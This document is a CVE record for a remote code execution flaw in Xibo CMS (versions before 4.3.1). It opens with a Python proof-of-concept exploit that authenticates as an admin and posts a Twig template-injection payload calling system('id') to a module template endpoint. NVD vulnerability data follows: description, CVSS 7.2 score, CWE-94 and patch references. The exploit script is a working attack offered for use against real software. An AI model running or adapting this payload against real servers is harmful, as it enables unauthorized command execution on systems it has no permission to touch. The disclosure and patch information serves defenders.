CVE-2025-62369

# CVE-2025-62369 PoC - Xibo CMS RCE via Twig Template Injection # Requirements: Valid admin account with 'Add/Edit custom modules and templates' permission import requests import json TARGET_URL = "http://target-xibo-cms.com" USERNAME = "admin" PASSWORD = "admin_password" def exploit(): # Step 1: Authenticate and get session session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} session.post(f"{TARGET_URL}/login", data=login_data) # Step 2: Create malicious Twig template with RCE payload # This payload executes system commands via Twig's filter mechanism rce_payload = "{{ _context|filter(v=>system('id')) }}" # Step 3: Inject template through module template functionality template_data = { "name": "Malicious Module", "template": rce_payload, "type": "module" } response = session.post( f"{TARGET_URL}/api/module/template", json=template_data ) print(f"Exploit sent, response: {response.status_code}") print("Check server for command execution result") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-62369", "sourceIdentifier": "[email protected]", "published": "2025-11-04T22:16:38.160", "lastModified": "2025-12-08T13:30:12.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xibo is an open source digital signage platform with a web content management system (CMS). Versions 4.3.0 and below contain a Remote Code Execution vulnerability in the CMS Developer menu's Module Templating functionality, allowing authenticated users with \"System -> Add/Edit custom modules and templates\" permissions to manipulate Twig filters and execute arbitrary server-side functions as the web server user. This issue is fixed in version 4.3.1. To workaround this issue, use the 4.1 and 4.2 patch commits."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xibosignage:xibo:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.3.1", "matchCriteriaId": "FC1FEADB-C4CE-432E-961D-2AD55843FCF2"}]}]}], "references": [{"url": "https://github.com/xibosignage/xibo-cms/commit/0f4e88396111ea027785a48dd8f5eeb14536bd71", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/xibosignage/xibo-cms/commit/ecd4f9d2cea739a46756a108a839cac80f65cf10", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/xibosignage/xibo-cms/releases/tag/4.3.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/xibosignage/xibo-cms/security/advisories/GHSA-7rmm-689c-gjgv", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://patch-diff.githubusercontent.com/raw/xibosignage/xibo-cms/pull/3128.patch", "source": "[email protected]", "tags": ["Product"]}]}}